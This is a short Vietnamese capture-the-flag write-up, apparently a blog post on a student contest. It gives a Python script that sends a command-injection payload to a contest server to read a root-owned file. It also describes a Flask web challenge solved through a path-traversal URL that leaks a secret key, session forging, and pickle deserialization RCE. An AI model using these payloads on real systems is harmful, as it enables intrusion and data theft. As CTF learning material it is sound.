KMA THI SINH VIÊN ATTT CẤP HỌC VIỆN
Hế lô ae, giải này end cũng mấy hôm rồi nhưng mà mình cũng chưa định viết writeup do còn 2 bài web nữa chưa xong :(
Nhưng mà kệ đi, dưới đây là 3 bài mình đã solve. :(
Pwn1: Welcome to KCSC
Bài này mình chỉ đăng script thôi, xin nhỗi mn :>
from pwn import *
import requests
# elf = context.binary = ELF("./advice")
pay1 = b'''Hello" && /usr/bin/as @/root/root.txt;
echo"'''
pay2 = b"111111"
# r = elf.process([pay1, pay2])
d=requests.post("http://103.162.14.116:5001/contact",data={"name":pay1,"advice":pay2})
print(d.text)
# r.interactive()
Web1: You are a good admin.
Mn có thể tải file tại đây.
Sau khi build docker xong, hãy quan sát một chút về code
có 4 route là / /login /admin /file. Cái /tesing là mình tự thêm vào nên mn không cần để ý đâu :))
Tuy nhiên, khi chạy thì nó sẽ sinh ra một folder __pycache__ chứa file byte code .pyc.
Lợi dụng file này để đọc secret_key được import từ config.py
http://localhost:9000/file?f=../__pycache__/config.cpython-311.pyc
Ta được đoạn base64 này
Sau đó quăng lên cyberchef là có được secret key :D
Tiếp theo là route /admin
Nhìn thấy sink để rce là chỗ pickle.loads
Bây giờ phải gen data như nào đấy để có thể thi thực lệnh.
Mình đọc được 2 bài blog nói về cách sử dụng opcode để bypass, bài 1 & bài 2. Nếu dùng __reduce__ thì sẽ sinh ra R nên không thể dùng. Mình chọn cách này
Các điều kiện đã có đủ, bây giờ gen session thôi :>
Mình sẽ dùng flask-sign để gen.
Nhưng mà mình đếch hiểu sao nó lại outband, trên web cứ trả về lmao trong khi docker lại ghi thành công :v
sau đó lợi dụng lfi để đọc flag :>
Hôm nay đến đây thôi, web2 ghi sau, lười vãi đạn
Nhận xét
Đăng nhận xét